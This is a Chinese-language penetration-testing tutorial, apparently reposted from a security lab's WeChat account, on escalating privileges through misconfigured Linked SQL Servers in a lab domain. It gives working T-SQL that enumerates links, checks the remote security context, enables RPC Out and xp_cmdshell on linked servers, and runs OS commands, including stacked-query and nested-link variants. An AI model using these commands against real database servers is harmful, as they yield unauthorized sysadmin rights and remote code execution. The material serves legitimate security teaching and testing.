利用Linked SQL Server提权
Linked SQL server是一个SQL Server数据库中的对象,它可以连接到另一个SQL Server或非SQL Server数据源(如Oracle,MySQL,PostgreSQL等),并且可以使用该数据源中的表和视图。通过使用Linked server,用户可以在单个查询中访问多个数据源中的数据,而无需将数据导入到本地数据库中。
Linked server通常用于数据集成和数据仓库环境中的查询,以及需要从多个数据源中检索数据的应用程序。
当创建从一个SQL服务器到另一个服务器的链接时,管理员必须指定在连接过程中使用的执行上下文。虽然可以基于当前登录的安全上下文创建一个动态的上下文,但是一些管理员可能为了配置方便而使用一个特定的SQL账户登录。如果管理员使用一个特定的SQL登录,并且该登录具有sysadmin角色权限,我们将能在链接的SQL服务器上获得sysadmin权限。
在渗透测试过程,如果遇到了集成到活动目录的MS SQL数据库,我们需要测试目标环境是否存在这种误配置。
我们首先枚举当前服务器链接的服务器。可以使用sp_linkedserver存储过程查看。在下面的例子中,我们连接到APPSRV01服务器,以普通域用户dev\dave认证,使用ESC工具进行查询:
set instance appsrv01.dev.ms08067.cn
EXEC sp_linkedservers
go
sp_linkedservers列举连接的服务器
ESC客户端list links命令也可以用查询:
list links
ESC列举链接的服务器
从上面的输出可以看到,当前服务器APPSRV01\SQLEXPRESS存在一个远程链接的服务器DEV-DC01,远程登录名为sa。下一步我们可以尝试在链接的服务器上执行查询,可以使用OPENQUERY关键字实现。首先我们查询链接的服务器的数据库实例版本:
select version from openquery("dev-DC01", 'select @@version as version')
查看dev-DC01数据库版本
输出证明我们可以在链接的服务器上执行查询。接下来,我们需要确认是在哪个安全上下文执行:
select SecurityContext from openquery([dev-DC01], 'select SYSTEM_USER as SecurityContext')
查询安全上下文
从输出可以看到虽然我们本地登录是域用户dev\dave,但链接的安全上下文是sa。有了sa权限,我们可以使用前面介绍过的方法在链接的服务器实现代码执行,这里使用xp_cmdshell。
需要注意的是xp_cmdshell需要改变advanced options,我们必须使用RECONFIGURE语句更新运行时配置。当这个语句在远程服务器执行时,微软使用Remote Procedure Call(RCP)实现。因此创建的链接必须配置RPC Out设置,默认没有启用,如果我们当前用户有sysadmin权限,可以使用sp_serveroption存储过程启用。这里为了演示在链接的服务器执行命令,我们先在APPSRV01服务器手动启用。在appsrv01上执行:
USE master;
EXEC sp_serveroption 'dev-DC01', 'rpc out', 'true';
RECONFIGURE
启用RPC Out
然后我们尝试在链接的服务器dev-DC01上执行命令。OPENQUERY存储过程无法在链接服务器执行,所以这里我们使用AT关键字指定要执行查询的链接服务器。注意要对内部的单引号通过双写进行转义:
EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT [dev-DC01]
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [dev-DC01]
EXEC ('xp_cmdshell ipconfig') AT [dev-DC01]
在链接服务器执行命令
可以看到我们成功在链接的远程服务器dev-DC01上获得代码执行。
虽然微软的文档说明,在链接的SQL服务器上不支持用OPENQUERY关键字执行存储过程,但实际上可以利用堆叠查询的方式执行:
SELECT * FROM OPENQUERY("dev-DC01", 'select @@Version; exec xp_cmdshell ''ipconfig > c:\Tools\ipconfig.txt''')
go
利用堆叠查询执行命令
虽然命令结果没有回显,但实际命令成功执行。
上面我们发现appsrv01上的数据库配置了到dev-DC01上数据库的链接。我们也可以在dev-DC01上执行sp_linkedservers存储过程,查看是否存在从dev-DC01到其他数据库服务器的链接。需要注意的是SQL服务器的链接默认不是双向的,所以依赖于管理员配置。我们可以使用如下语句查询:
set instance appsrv01.dev.ms08067.cn
EXEC ('sp_linkedservers') AT [dev-DC01]
go
dev-DC01数据库链接枚举
从输出可以看到也存在从dev-DC01到APPSRV01的数据库链接。我们之前已经通过链接在dev-DC01上获得了sa权限,可以再次通过链接返回到APPSRV01。使用下面命令查看在APPSRV01上的登录上下文:
select mylogin from openquery("dev-dc01", 'select mylogin from openquery("appsrv01", ''select SYSTEM_USER as mylogin'')')
APPSRV01权限查询
从输出可以看到我们在appsrv01上也获得了sa权限,因为是sysadmin角色,我们可以通过相同的方法实现代码执行。同样也需要在dev-DC01上配置RPC Out:
dev-DC01启用RPC Out
然后启用xp_cmdshell并执行命令,需要注意单引号的转义:
set instance APPSRV01.dev.ms08067.cn
EXEC ('EXEC (''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [appsrv01]') AT [dev-dc01]
EXEC ('EXEC (''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [appsrv01]') AT [dev-dc01]
EXEC ('EXEC (''xp_cmdshell ''''ipconfig&hostname'''''') AT [appsrv01]') AT [dev-dc01]
go
通过嵌套链接执行命令
上面例子可以看到,我们先从APPSRV01通过链接的方式在dev-DC01上执行命令,然后又通过链接方式,从dev-DC01跳回到APPSRV01并在上面成功执行命令。我们可以枚举嵌套链接的数据库,并执行查询。理论上,可以多次跟随链接并获得代码执行。
本文分享自 Ms08067安全实验室 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!